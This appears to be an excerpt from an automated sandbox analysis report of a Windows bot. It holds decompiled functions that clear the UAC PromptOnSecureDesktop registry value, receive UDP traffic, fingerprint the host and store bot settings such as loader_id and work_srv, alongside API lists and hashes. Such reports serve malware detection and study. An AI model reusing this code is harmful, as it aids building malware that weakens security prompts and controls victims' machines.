						_t160 = RegOpenKeyExA(0x80000002, _t159, 0, 0x103,  &_v12);
						__eflags = _t160;
						if(_t160 != 0) {
							goto L18;
						}
						_t165 = RegQueryValueExA(_v12,  &_v388, 0,  &_v28,  &_v8,  &_v16);
						__eflags = _t165;
						if(_t165 != 0) {
							L16:
							_v8 = 0;
							RegSetValueExA(_v12,  &_v388, 0, _t189,  &_v8, _t189);
							L17:
							RegCloseKey(_v12);
							goto L18;
						}
						__eflags = _v28 - _t189;
						if(_v28 != _t189) {
							goto L16;
						}
						__eflags = _v16 - _t189;
						if(_v16 != _t189) {
							goto L16;
						}
						__eflags = _v8;
						if(_v8 == 0) {
							goto L17;
						}
						goto L16;
					}
				}
			}

0x00408328
0x00408328
0x00408334
0x0040833e
0x00000000
0x00408342
0x0040834a
0x00408354
0x00408356
0x0040846b
0x0040846e
0x00408474
0x00000000
0x00000000
0x0040847a
0x00408480
0x00000000
0x00000000
0x004084a2
0x004084ad
0x004084b6
0x004084b8
0x004084ba
0x00408543
0x0040855f
0x00408564
0x0040856d
0x0040856f
0x00408571
0x004085a5
0x004085ac
0x004085b1
0x004085b4
0x004085b7
0x004085bc
0x004085c1
0x00000000
0x004085b7
0x00408573
0x00408579
0x0040857b
0x0040857b
0x0040857e
0x0040857e
0x00408580
0x00408581
0x00408581
0x00408587
0x00408587
0x00408596
0x0040859f
0x00000000
0x0040859f
0x004084d3
0x004084d9
0x004084db
0x004084dd
0x004084e1
0x004084e3
0x004084e6
0x004084eb
0x004084f0
0x004084f1
0x004084f4
0x004084f6
0x004084f8
0x0040850b
0x00408511
0x00408513
0x00408518
0x0040851d
0x0040851e
0x0040851e
0x00408513
0x004084f6
0x004084e6
0x004084e1
0x00408524
0x0040852a
0x0040852d
0x00408538
0x0040853e
0x0040853f
0x00408541
0x00000000
0x00000000
0x00408541
0x00000000
0x0040835c
0x0040836e
0x00408373
0x00408376
0x00408378
0x00408464
0x00408464
0x00408779
0x00000000
0x0040877a
0x0040837e
0x00408384
0x00000000
0x00000000
0x0040838a
0x0040838d
0x00000000
0x00408393
0x00408393
0x00408399
0x0040839c
0x0040839c
0x0040839e
0x0040839f
0x0040839f
0x004083a5
0x004083ac
0x004083af
0x004083b1
0x004083b1
0x004083b3
0x004083ba
0x00408450
0x00408457
0x0040845c
0x004085c2
0x004085c2
0x004085c5
0x004085c8
0x004085ce
0x00408615
0x0040861a
0x00408620
0x004086a7
0x004086a8
0x004086ad
0x004086ae
0x004086b0
0x00408762
0x00408762
0x00408768
0x00408768
0x0040876b
0x00408770
0x00408775
0x00408778
0x00408778
0x00000000
0x00408778
0x004086b6
0x004086bb
0x004086bd
0x0040875b
0x0040875c
0x00000000
0x0040875c
0x004086c5
0x004086cc
0x004086d8
0x004086db
0x004086eb
0x004086f2
0x004086ff
0x00408705
0x0040870d
0x00408714
0x00408733
0x00408739
0x0040873b
0x0040874f
0x00408755
0x00000000
0x0040875a
0x00408746
0x0040874b
0x00000000
0x0040874b
0x0040862c
0x00408633
0x00408638
0x00408639
0x00408644
0x00408647
0x0040864a
0x0040864c
0x00408671
0x00408683
0x0040868c
0x00408693
0x0040869f
0x004086a4
0x00000000
0x00000000
0x00000000
0x00000000
0x0040864e
0x0040864e
0x0040864e
0x00408657
0x0040865d
0x00408660
0x00408663
0x00408666
0x0040866c
0x0040866c
0x00000000
0x0040864e
0x004085da
0x004085df
0x004085e2
0x004085e5
0x004085eb
0x00000000
0x00000000
0x004085ed
0x004085ef
0x00000000
0x00000000
0x004085f4
0x004085fa
0x00000000
0x00000000
0x00408601
0x00408606
0x00408609
0x0040860f
0x00000000
0x00000000
0x00000000
0x0040860f
0x004083c2
0x004083df
0x004083e2
0x004083e5
0x004083ea
0x004083f3
0x004083f9
0x004083fb
0x00000000
0x00000000
0x00408414
0x0040841a
0x0040841c
0x0040842d
0x0040843e
0x00408441
0x00408447
0x0040844a
0x00000000
0x0040844a
0x0040841e
0x00408421
0x00000000
0x00000000
0x00408423
0x00408426
0x00000000
0x00000000
0x00408428
0x0040842b
0x00000000
0x00000000
0x00000000
0x0040842b
0x0040838d

APIs

RegOpenKeyExA.ADVAPI32(80000002,00000000,?,?,00000000,00000103,Function_00010750,?,?,00000000,localcfg,00000000), ref: 004083F3
RegQueryValueExA.ADVAPI32(00410750,?,00000000,?,00408893,?,?,?,00000000,00000103,Function_00010750,?,?,00000000,localcfg,00000000), ref: 00408414
RegSetValueExA.ADVAPI32(00410750,?,00000000,00000004,00408893,00000004,?,?,00000000,00000103,Function_00010750,?,?,00000000,localcfg,00000000), ref: 00408441
RegCloseKey.ADVAPI32(00410750,?,?,00000000,00000103,Function_00010750,?,?,00000000,localcfg,00000000), ref: 0040844A

Strings

PromptOnSecureDesktop, xrefs: 0040834F, 004083DE, 00408456, 004084A1, 0040855E, 004085AB, 00408682, 0040869E
localcfg, xrefs: 00408348

Memory Dump Source

Source File: 0000001E.00000002.423513229.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001E.00000002.424072243.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: Value$CloseOpenQuery
String ID: PromptOnSecureDesktop$localcfg
API String ID: 237177642-1678164370
Opcode ID: ceb8f976865ce0ceb7a49ab14e9185c0d880bbf4f5595f8125b322c827978e39
Instruction ID: 84ba07e5042139a9063b988de9b3f7486f2cd5d6c0453319c527b22e45c4d953
Opcode Fuzzy Hash: ceb8f976865ce0ceb7a49ab14e9185c0d880bbf4f5595f8125b322c827978e39
Instruction Fuzzy Hash: DAC1D2B1D00109BEEB11ABA0DE85EEF7BBCEB04304F14447FF544B2191EA794E948B69

Uniqueness

Uniqueness Score: -1.00%

Function 00402A62, Relevance: 33.4, APIs: 18, Strings: 1, Instructions: 194
networkmemoryCOMMON

Download Yara Rule

C-Code - Quality: 53%

			E00402A62(void* __ecx, intOrPtr* _a12) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr* _v44;
				signed short _v272;
				char _v276;
				long _v280;
				char _v284;
				signed short _v288;
				signed short _v292;
				long _v300;
				long _v304;
				intOrPtr _v308;
				signed short _v324;
				intOrPtr _v332;
				signed short _v336;
				signed int _v340;
				signed int _v344;
				void* _v348;
				signed short _v352;
				signed short _v356;
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr _t53;
				signed short _t66;
				void** _t71;
				void* _t76;
				void* _t77;
				void* _t78;
				signed short _t79;
				intOrPtr* _t81;
				signed short _t82;
				signed short _t83;
				intOrPtr _t86;
				signed int _t88;
				void* _t90;
				long _t91;
				signed short _t92;
				void* _t94;

				_t77 = __ecx;
				_t91 = 0;
				 *_a12 = 1;
				_t50 = HeapAlloc(GetProcessHeap(), 0, 0x1000);
				_t76 = _t50;
				if(_t76 != 0) {
					__imp__#23(2, 2, 0x11, _t78);
					_t79 = _t50;
					_v288 = _t79;
					if(_t79 == 0 || _t79 == 0xffffffff) {
						HeapFree(GetProcessHeap(), _t91, _t76);
						_t53 = 0;
						goto L37;
					} else {
						_v304 = 0;
						while(1) {
							_v300 = _t91;
							if(_v304 != _t91) {
								_push(_t91);
							} else {
								_push(0x100);
							}
							__imp__#9();
							_t50 = E004026FF(_v8, _t79, _v12, _t50 & 0x0000ffff);
							_t94 = _t94 + 0xc;
							if(_t50 != 0) {
								goto L32;
							}
							_t86 = 0xc;
							_t50 =  &_v276;
							_v272 = _t79;
							_v276 = 1;
							_v284 = _t86;
							_v280 = _t91;
							__imp__#18(_t91, _t50, _t91, _t91,  &_v284);
							if(_t50 <= 0) {
								goto L32;
							}
							_t50 = E0040EE2A(_t77, _t76, _t91, 4);
							_t94 = _t94 + 0xc;
							__imp__#16(_t79, _t76, 0x1000, _t91);
							_t92 = _t50;
							_v324 = _t92;
							if(_t92 > 0 && _t92 > _t86) {
								_t81 = __imp__#15;
								_t88 =  *_t81( *(_t76 + 2) & 0x0000ffff) & 0xf;
								if(_t88 == 3) {
									L34:
									 *_v44 = 2;
									L35:
									HeapFree(GetProcessHeap(), 0, _t76);
									__imp__#3(_v292);
									_t53 = _v308;
									L37:
									return _t53;
								}
								if(_t88 != 2) {
									L16:
									if(_t88 != 0) {
										goto L32;
									}
									_t50 = E00402923(_t77, _t76, _t92);
									_pop(_t77);
									_v336 = _t50;
									if(_t50 == 0) {
										goto L32;
									}
									_v340 = _v340 & 0x00000000;
									_v344 = _v344 & 0x00000000;
									_t82 = _t50;
									_v352 = _t82;
									L20:
									while(1) {
										if( *((short*)(_t82 + 0x10a)) != 1 ||  *((short*)(_t82 + 0x108)) != 0xf ||  *((short*)(_t82 + 0x10c)) < 3) {
											L30:
											_t83 =  *_t82;
											_v352 = _t83;
											if(_t83 != 0) {
												_t82 = _v352;
												continue;
											}
											goto L31;
										} else {
											_t90 = HeapAlloc(GetProcessHeap(), 0, 0x108);
											if(_t90 == 0) {
												L31:
												_t50 = E00402904(_v336);
												if(_v344 != 0) {
													goto L35;
												}
												goto L32;
											}
											E0040EE2A(_t77, _t90, 0, 0x108);
											_t66 =  *( *((intOrPtr*)(_t82 + 0x110)) + _t76) & 0x0000ffff;
											_t94 = _t94 + 0xc;
											__imp__#15();
											 *(_t90 + 4) = _t66 & 0x0000ffff;
											_t33 = _t90 + 8; // 0x8
											E00402871( *((intOrPtr*)(_t82 + 0x110)) + 2, _t76, _t77, _t33, _v332);
											_t77 = _t66;
											if( *((char*)(_t90 + 8)) != 0) {
												_t71 = _v344;
												_v344 = _t90;
												if(_t71 != 0) {
													 *_t71 = _t90;
												} else {
													_v348 = _t90;
												}
											} else {
												HeapFree(GetProcessHeap(), 0, _t90);
											}
											_t82 = _v356;
											goto L30;
										}
									}
								}
								_push( *(_t76 + 2) & 0x0000ffff);
								if( *_t81() < 0) {
									goto L34;
								}
								goto L16;
							}
							L32:
							_v308 = _v308 + 1;
							if(_v308 < 2) {
								_t79 = _v292;
								_t91 = 0;
								continue;
							}
							goto L35;
						}
					}
				}
				return 0;
			}

0x00402a62
0x00402a7a
0x00402a7d
0x00402a86
0x00402a8c
0x00402a90
0x00402aa0
0x00402aa6
0x00402aa8
0x00402aae
0x00402cd8
0x00402cde
0x00000000
0x00402abd
0x00402abd
0x00402ac9
0x00402ac9
0x00402ad1
0x00402ada
0x00402ad3
0x00402ad3
0x00402ad3
0x00402adb
0x00402af4
0x00402af9
0x00402afe
0x00000000
0x00000000
0x00402b06
0x00402b0e
0x00402b14
0x00402b18
0x00402b20
0x00402b24
0x00402b28
0x00402b30
0x00000000
0x00000000
0x00402b3a
0x00402b3f
0x00402b4a
0x00402b50
0x00402b52
0x00402b58
0x00402b6a
0x00402b76
0x00402b7c
0x00402ca6
0x00402cad
0x00402cb3
0x00402cbd
0x00402cc7
0x00402ccd
0x00402ce0
0x00000000
0x00402ce0
0x00402b85
0x00402b96
0x00402b98
0x00000000
0x00000000
0x00402ba1
0x00402ba6
0x00402ba7
0x00402bad
0x00000000
0x00000000
0x00402bb3
0x00402bb8
0x00402bbd
0x00402bbf
0x00000000
0x00402bc9
0x00402bd1
0x00402c77
0x00402c77
0x00402c79
0x00402c7f
0x00402bc5
0x00000000
0x00402bc5
0x00000000
0x00402bf3
0x00402c08
0x00402c0c
0x00402c85
0x00402c89
0x00402c93
0x00000000
0x00000000
0x00000000
0x00402c93
0x00402c12
0x00402c1d
0x00402c21
0x00402c25
0x00402c32
0x00402c3e
0x00402c41
0x00402c4a
0x00402c4b
0x00402c5f
0x00402c63
0x00402c69
0x00402c71
0x00402c6b
0x00402c6b
0x00402c6b
0x00402c4d
0x00402c57
0x00402c57
0x00402c73
0x00000000
0x00402c73
0x00402bd1
0x00402bc9
0x00402b8b
0x00402b90
0x00000000
0x00000000
0x00000000
0x00402b90
0x00402c95
0x00402c95
0x00402c9e
0x00402ac3
0x00402ac7
0x00000000
0x00402ac7
0x00000000
0x00402ca4
0x00402ac9
0x00402aae
0x00000000

APIs

GetProcessHeap.KERNEL32(00000000,00001000,00000000,?,74B04F20), ref: 00402A83
HeapAlloc.KERNEL32(00000000,?,74B04F20), ref: 00402A86
socket.WS2_32(00000002,00000002,00000011), ref: 00402AA0
htons.WS2_32(00000000), ref: 00402ADB
select.WS2_32 ref: 00402B28
recv.WS2_32(?,00000000,00001000,00000000), ref: 00402B4A
htons.WS2_32(?), ref: 00402B71
htons.WS2_32(?), ref: 00402B8C
GetProcessHeap.KERNEL32(00000000,00000108), ref: 00402BFB

Strings

p0u, xrefs: 00402CC7

Memory Dump Source

Source File: 0000001E.00000002.423513229.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001E.00000002.424072243.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: Heaphtons$Process$Allocrecvselectsocket
String ID: p0u
API String ID: 1639031587-1742372003
Opcode ID: 0a9a318a9520cdba09dec5fbe0b7d43cc2391f431d6a7511ea18a0acbd49a9c0
Instruction ID: 51c4a8f8372388146ce05ee3fd67d3b8acfed2692fca977a8adbfce498b2b585
Opcode Fuzzy Hash: 0a9a318a9520cdba09dec5fbe0b7d43cc2391f431d6a7511ea18a0acbd49a9c0
Instruction Fuzzy Hash: FB61D271508305ABD7209F51DE0CB6FBBE8FB48345F14482AF945A72D1D7F8D8808BAA

Uniqueness

Uniqueness Score: -1.00%

Function 0040199C, Relevance: 31.6, APIs: 11, Strings: 7, Instructions: 106
memorylibraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 54%

			E0040199C(void* __eax) {
				long _v8;
				_Unknown_base(*)()* _v12;
				struct HINSTANCE__* _v16;
				char _v20;
				void* _v24;
				long _v28;
				_Unknown_base(*)()* _t30;
				intOrPtr _t32;
				void* _t34;
				void* _t41;
				struct HINSTANCE__* _t48;
				_Unknown_base(*)()* _t49;
				void* _t50;

				_v20 = 0;
				_v28 = 0;
				__imp__#11("123.45.67.89");
				_v24 = __eax;
				_t48 = LoadLibraryA("Iphlpapi.dll");
				_v16 = _t48;
				if(_t48 != 0) {
					_v12 = GetProcAddress(_t48, "GetAdaptersInfo");
					_t49 = GetProcAddress(_t48, "GetIfEntry");
					_t30 = GetProcAddress(_v16, "GetBestInterface");
					if(_v12 == 0 || _t49 == 0 || _t30 == 0) {
						FreeLibrary(_v16);
						goto L21;
					} else {
						 *_t30(_v24,  &_v20);
						_t34 = GetProcessHeap();
						_v24 = _t34;
						if(_t34 == 0) {
							L21:
							_t32 = 0;
							L22:
							return _t32;
						}
						_t50 = HeapAlloc(_t34, 0, 0x288);
						if(_t50 == 0) {
							goto L21;
						}
						_push( &_v8);
						_push(_t50);
						_v8 = 0x288;
						if(_v12() == 0x6f) {
							_t50 = HeapReAlloc(_v24, 0, _t50, _v8);
						}
						if(_t50 == 0) {
							L18:
							FreeLibrary(_v16);
							if(_v28 == 0) {
								goto L21;
							}
							_t32 = 1;
							goto L22;
						} else {
							_push( &_v8);
							_push(_t50);
							if(_v12() != 0) {
								goto L18;
							}
							_t41 = _t50;
							while( *((intOrPtr*)(_t41 + 0x19c)) != _v20) {
								_t41 =  *_t41;
								if(_t41 != 0) {
									continue;
								}
								L17:
								HeapFree(_v24, 0, _t50);
								goto L18;
							}
							if( *((intOrPtr*)(_t41 + 0x1a0)) != 6) {
								_v28 = 1;
							}
							goto L17;
						}
					}
				}
				return 0;
			}

0x004019ab
0x004019ae
0x004019b1
0x004019bc
0x004019c5
0x004019c7
0x004019cc
0x004019ea
0x004019f7
0x004019f9
0x004019fe
0x00401ab6
0x00000000
0x00401a14
0x00401a1b
0x00401a1d
0x00401a23
0x00401a28
0x00401abc
0x00401abc
0x00401abe
0x00000000
0x00401abe
0x00401a3c
0x00401a40
0x00000000
0x00000000
0x00401a45
0x00401a46
0x00401a47
0x00401a50
0x00401a60
0x00401a60
0x00401a67
0x00401aa1
0x00401aa4
0x00401aad
0x00000000
0x00000000
0x00401aaf
0x00000000
0x00401a69
0x00401a6c
0x00401a6d
0x00401a73
0x00000000
0x00000000
0x00401a75
0x00401a77
0x00401a82
0x00401a86
0x00000000
0x00000000
0x00401a96
0x00401a9b
0x00000000
0x00401a9b
0x00401a91
0x00401a93
0x00401a93
0x00000000
0x00401a91
0x00401a67
0x004019fe
0x00000000

APIs

inet_addr.WS2_32(123.45.67.89), ref: 004019B1
LoadLibraryA.KERNEL32(Iphlpapi.dll,?,?,?,?,00000001,00401E9E), ref: 004019BF
GetProcAddress.KERNEL32(00000000,GetAdaptersInfo), ref: 004019E2
GetProcAddress.KERNEL32(00000000,GetIfEntry), ref: 004019ED
GetProcAddress.KERNEL32(?,GetBestInterface), ref: 004019F9
GetProcessHeap.KERNEL32(?,?,?,?,00000001,00401E9E), ref: 00401A1D
HeapAlloc.KERNEL32(00000000,00000000,00000288,?,?,?,?,00000001,00401E9E), ref: 00401A36
HeapReAlloc.KERNEL32(?,00000000,00000000,00401E9E,?,?,?,?,00000001,00401E9E), ref: 00401A5A
HeapFree.KERNEL32(?,00000000,00000000,?,?,?,?,00000001,00401E9E), ref: 00401A9B
FreeLibrary.KERNEL32(?,?,?,?,?,00000001,00401E9E), ref: 00401AA4

Strings

GetBestInterface, xrefs: 004019EF
Iphlpapi.dll, xrefs: 004019B7
123.45.67.89, xrefs: 004019A6
~1u`y1up0u, xrefs: 004019B1
GetIfEntry, xrefs: 004019E4
GetAdaptersInfo, xrefs: 004019DC
localcfg, xrefs: 004019A3

Memory Dump Source

Source File: 0000001E.00000002.423513229.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001E.00000002.424072243.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: Heap$AddressProc$AllocFreeLibrary$LoadProcessinet_addr
String ID: 123.45.67.89$GetAdaptersInfo$GetBestInterface$GetIfEntry$Iphlpapi.dll$localcfg$~1u`y1up0u
API String ID: 835516345-3534540648
Opcode ID: 52436911476c130446cd143f44c65522dc478156bb7ce270366fd521237d2269
Instruction ID: c689a3d9ae3379b0bfe51822f68a21815d588b76a9689f39126eb657c90dfffc
Opcode Fuzzy Hash: 52436911476c130446cd143f44c65522dc478156bb7ce270366fd521237d2269
Instruction Fuzzy Hash: 39313E32A01219AFCF119FE4DD888AFBBB9EB45311B24457BE501B2260D7B94E819F58

Uniqueness

Uniqueness Score: -1.00%

Function 00401D96, Relevance: 30.0, APIs: 6, Strings: 11, Instructions: 205
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 95%

			E00401D96(void* __ecx, intOrPtr* _a4) {
				struct _OSVERSIONINFOA _v156;
				struct _SYSTEM_INFO _v192;
				char _v196;
				intOrPtr _v200;
				intOrPtr _t59;
				signed int _t61;
				signed int _t63;
				void* _t65;
				intOrPtr _t66;
				intOrPtr _t67;
				signed int _t71;
				intOrPtr _t93;
				intOrPtr _t96;
				intOrPtr _t97;
				intOrPtr _t102;
				intOrPtr* _t103;
				intOrPtr* _t105;
				void* _t109;
				void* _t110;
				void* _t111;
				void* _t112;
				void* _t113;
				void* _t114;

				_t105 = _a4;
				_t102 = 0x64;
				E0040EE2A(__ecx, _t105, 0, _t102);
				_t109 =  &_v200 + 0xc;
				 *_t105 = _t102;
				_v156.dwOSVersionInfoSize = 0x9c;
				if(GetVersionExA( &_v156) == 0) {
					 *((char*)(_t105 + 0x41)) = 0;
				} else {
					 *((char*)(_t105 + 0x41)) = (_v156.dwMajorVersion << 4) + _v156.dwMinorVersion;
				}
				GetSystemInfo( &_v192);
				 *((char*)(_t105 + 0x3f)) = _v192.dwNumberOfProcessors;
				_v196 = 0;
				_t103 = GetProcAddress(GetModuleHandleA("kernel32"), "IsWow64Process");
				if(_t103 != 0) {
					 *_t103(GetCurrentProcess(),  &_v196);
				}
				_t104 = "localcfg";
				 *((char*)(_t105 + 0x40)) = 2;
				_t59 = E0040E819(1, "localcfg", "lid_file_upd", 0);
				_t92 = "flags_upd";
				 *((intOrPtr*)(_t105 + 0x24)) = _t59;
				 *(_t105 + 4) =  *(_t105 + 4) | E0040E819(1, "localcfg", "flags_upd", 0);
				_t61 =  *(_t105 + 4);
				_t110 = _t109 + 0x20;
				if((_t61 & 0x00000008) != 0) {
					 *(_t105 + 4) = _t61 & 0xfffffff7;
					E0040DF70(1, "work_srv");
					E0040DF70(1, "start_srv");
					_t110 = _t110 + 0x10;
				}
				E0040EA84(1, _t104, _t92, 0);
				_t93 = 0;
				_t63 = E0040E819(1, _t104, "net_type", 0);
				_t111 = _t110 + 0x20;
				 *(_t105 + 0x14) = _t63;
				if(E0040199C(_t63) == 0) {
					 *(_t105 + 0x14) =  *(_t105 + 0x14) | 0x00000010;
				} else {
					 *(_t105 + 0x14) =  *(_t105 + 0x14) | 0x00000020;
				}
				_t65 = E0040E819(1, _t104, "born_date", _t93);
				_t112 = _t111 + 0x10;
				 *((intOrPtr*)(_t105 + 0x30)) = _t93;
				if(_t65 == _t93) {
					_t97 = E0040F04E(_t93);
					E0040EA84(1, _t104, "born_date", _t97);
					_t112 = _t112 + 0x14;
					 *((intOrPtr*)(_t105 + 0x30)) = _t97;
					_t93 = 0;
				}
				_t94 = "id";
				_t66 = E0040E819(1, _t104, "id", _t93);
				_t113 = _t112 + 0x10;
				 *((intOrPtr*)(_t105 + 0xc)) = _t66;
				if(_t66 == 0) {
					_v200 = E00401B71();
					E0040EA84(1, _t104, _t94, _t77);
					_t113 = _t113 + 0x10;
					 *((intOrPtr*)(_t105 + 0xc)) = _v200;
				}
				_t95 = "hi_id";
				_t67 = E0040E819(1, _t104, "hi_id", 0);
				_t114 = _t113 + 0x10;
				 *((intOrPtr*)(_t105 + 0x10)) = _t67;
				if(_t67 == 0) {
					_v200 = E00401BDF();
					E0040EA84(1, _t104, _t95, _t74);
					_t114 = _t114 + 0x10;
					 *((intOrPtr*)(_t105 + 0x10)) = _v200;
				}
				 *((intOrPtr*)(_t105 + 8)) = 0x5f;
				_t96 = E0040E819(1, _t104, "loader_id", 0);
				if(_t96 == 0) {
					_t96 = 5;
					E0040EA84(1, _t104, "loader_id", _t96);
				}
				 *((intOrPtr*)(_t105 + 0x1c)) = _t96;
				 *((intOrPtr*)(_t105 + 0x34)) = E004030B5();
				if( *0x41201d == 0) {
					if( *0x41201f == 0) {
						 *(_t105 + 0x18) =  *(_t105 + 0x18) & 0x00000000;
					} else {
						if(E00406EC3() != 0) {
							 *(_t105 + 0x18) = 2;
						} else {
							 *(_t105 + 0x18) = 0x10;
						}
					}
				} else {
					 *(_t105 + 0x18) = 1;
				}
				if(_v196 != 0) {
					 *(_t105 + 0x18) =  *(_t105 + 0x18) | 0x00000200;
				}
				_t71 = GetTickCount() / 0x3e8;
				 *0x412110 = _t71;
				 *(_t105 + 0x28) = _t71;
				return _t71;
			}

0x00401d9f
0x00401da9
0x00401daf
0x00401db4
0x00401dbc
0x00401dbe
0x00401dce
0x00401de0
0x00401dd0
0x00401ddb
0x00401ddb
0x00401de8
0x00401dfc
0x00401dff
0x00401e10
0x00401e14
0x00401e22
0x00401e22
0x00401e2a
0x00401e34
0x00401e38
0x00401e3e
0x00401e46
0x00401e4e
0x00401e51
0x00401e54
0x00401e59
0x00401e64
0x00401e67
0x00401e72
0x00401e77
0x00401e77
0x00401e7f
0x00401e84
0x00401e8e
0x00401e93
0x00401e96
0x00401ea0
0x00401ea8
0x00401ea2
0x00401ea2
0x00401ea2
0x00401eb4
0x00401eb9
0x00401ebc
0x00401ec1
0x00401ec9
0x00401ed3
0x00401ed8
0x00401edb
0x00401ede
0x00401ede
0x00401ee1
0x00401ee9
0x00401eee
0x00401ef1
0x00401ef6
0x00401f01
0x00401f05
0x00401f0e
0x00401f11
0x00401f11
0x00401f16
0x00401f1e
0x00401f23
0x00401f26
0x00401f2b
0x00401f36
0x00401f3a
0x00401f43
0x00401f46
0x00401f46
0x00401f52
0x00401f5e
0x00401f65
0x00401f69
0x00401f72
0x00401f77
0x00401f7a
0x00401f82
0x00401f8c
0x00401f9a
0x00401fb7
0x00401f9c
0x00401fa3
0x00401fae
0x00401fa5
0x00401fa5
0x00401fa5
0x00401fa3
0x00401f8e
0x00401f8e
0x00401f8e
0x00401fc0
0x00401fc2
0x00401fc2
0x00401fd6
0x00401fd9
0x00401fde
0x00401fea

APIs

GetVersionExA.KERNEL32 ref: 00401DC6
GetSystemInfo.KERNEL32(?), ref: 00401DE8
GetModuleHandleA.KERNEL32(kernel32,IsWow64Process), ref: 00401E03
GetProcAddress.KERNEL32(00000000), ref: 00401E0A
GetCurrentProcess.KERNEL32(?), ref: 00401E1B
GetTickCount.KERNEL32 ref: 00401FC9

Part of subcall function 00401BDF: GetComputerNameA.KERNEL32(?,0000000F), ref: 00401C15

Strings

flags_upd, xrefs: 00401E3E, 00401E43, 00401E7C
IsWow64Process, xrefs: 00401DF2
start_srv, xrefs: 00401E6C
net_type, xrefs: 00401E87
kernel32, xrefs: 00401DF7
hi_id, xrefs: 00401F16, 00401F1B, 00401F33
work_srv, xrefs: 00401E5E
loader_id, xrefs: 00401F4B, 00401F6B
born_date, xrefs: 00401EAD, 00401ECC
localcfg, xrefs: 00401E2A, 00401E31, 00401E44, 00401E7D, 00401E8C, 00401EB2, 00401ED1, 00401EE7, 00401EFF, 00401F1C, 00401F34, 00401F50, 00401F70
lid_file_upd, xrefs: 00401E25

Memory Dump Source

Source File: 0000001E.00000002.423513229.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001E.00000002.424072243.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: AddressComputerCountCurrentHandleInfoModuleNameProcProcessSystemTickVersion
String ID: IsWow64Process$born_date$flags_upd$hi_id$kernel32$lid_file_upd$loader_id$localcfg$net_type$start_srv$work_srv
API String ID: 4207808166-1381319158
Opcode ID: 4d396ae03152d0abaa727b2f93d794b23dd7aa371f091a9bda11e0866bf4eb57
Instruction ID: 5280f7fbf8d1ad55ef8e9c3b0c982f95d08427a604c7524985c19692d8d730e4
Opcode Fuzzy Hash: 4d396ae03152d0abaa727b2f93d794b23dd7aa371f091a9bda11e0866bf4eb57
Instruction Fuzzy Hash: 2E51EA705043446FD330AF768C85F67BAECEB84708F00493FF955A2292D7BDA94487A9

Uniqueness

Uniqueness Score: -1.00%

Function 02F08578, Relevance: 28.4, APIs: 14, Strings: 2, Instructions: 361registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000002,00000000,?,?,00000000,00000103,?), ref: 02F08643
RegQueryValueExA.ADVAPI32(?,?,00000000,?,?,?,?,?,00000000,00000103,?), ref: 02F08664
RegSetValueExA.ADVAPI32(?,?,00000000,00000004,?,00000004,?,?,00000000,00000103,?), ref: 02F08691
RegCloseKey.ADVAPI32(?,?,?,00000000,00000103,?), ref: 02F0869A

Strings

", xrefs: 02F08955
PromptOnSecureDesktop, xrefs: 02F0859F, 02F0862E, 02F086A6, 02F086F1, 02F087AE, 02F087FB, 02F088D2, 02F088EE

Memory Dump Source

Source File: 0000001E.00000002.429884225.0000000002F00000.00000040.00000001.sdmp, Offset: 02F00000, based on PE: false

Yara matches

Similarity

API ID: Value$CloseOpenQuery
String ID: "$PromptOnSecureDesktop
API String ID: 237177642-3108538426
Opcode ID: 1c60b81768065cc7cafd43d65e6870f876b06d8eccb24c6c2cb771a703b3980a
Instruction ID: f3df3e4809dce83a7d51f39907c78255a759a4b51a4e88dcea8bdff5f733985e
Opcode Fuzzy Hash: 1c60b81768065cc7cafd43d65e6870f876b06d8eccb24c6c2cb771a703b3980a
Instruction Fuzzy Hash: BAC18F72D0024DBEEB21ABA4DDC4EEE7BBDEB04784F144465F704E2090EB704A94AF65

Uniqueness

Uniqueness Score: -1.00%

Function 02F02CB2, Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 194memorynetworkCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000), ref: 02F02CD6
socket.WS2_32(00000002,00000002,00000011), ref: 02F02CF0
htons.WS2_32(00000000), ref: 02F02D2B
select.WS2_32 ref: 02F02D78
recv.WS2_32(?,00000000,00001000,00000000), ref: 02F02D9A
GetProcessHeap.KERNEL32(00000000,00000108), ref: 02F02E4B

Strings

p0u, xrefs: 02F02F17

Memory Dump Source

Source File: 0000001E.00000002.429884225.0000000002F00000.00000040.00000001.sdmp, Offset: 02F00000, based on PE: false

Yara matches

Similarity

API ID: Heap$AllocateProcesshtonsrecvselectsocket
String ID: p0u
API String ID: 127016686-1742372003
Opcode ID: 34b12e3987a7911b0151bc10fc282e4d0fd91c502d2533c711cf9584e7c9b6b6
Instruction ID: f5d9c32b949faec371e6f8e66dd5a29ee322c35eff2c0b7ddaeed980c2f23e3d
Opcode Fuzzy Hash: 34b12e3987a7911b0151bc10fc282e4d0fd91c502d2533c711cf9584e7c9b6b6
Instruction Fuzzy Hash: B361C071A04305ABC7209F64DC8CB6BBBE8FB88795F004819FE4597190D7B5D8849BB6

Uniqueness

Uniqueness Score: -1.00%

Function 02F014D0, Relevance: 23.2, APIs: 9, Strings: 4, Instructions: 417stringCOMMON

Download Yara Rule

APIs

ShellExecuteExW.SHELL32(?), ref: 02F015EA
lstrlenW.KERNEL32(-00000003), ref: 02F017C1

Strings

@, xrefs: 02F015D0
<, xrefs: 02F015C8
, xrefs: 02F016B2
D, xrefs: 02F01816

Memory Dump Source

Source File: 0000001E.00000002.429884225.0000000002F00000.00000040.00000001.sdmp, Offset: 02F00000, based on PE: false

Yara matches

Similarity

API ID: ExecuteShelllstrlen
String ID: $<$@$D
API String ID: 1628651668-1974347203
Opcode ID: 03adf1138caabce6029c68f91071d7d17f6d9527f2eb0b017a6edce7519f1441
Instruction ID: 5f75a31d31f5bafa9d532afef2292189f31c49e40e1873ea11d8cfc8e66e6287
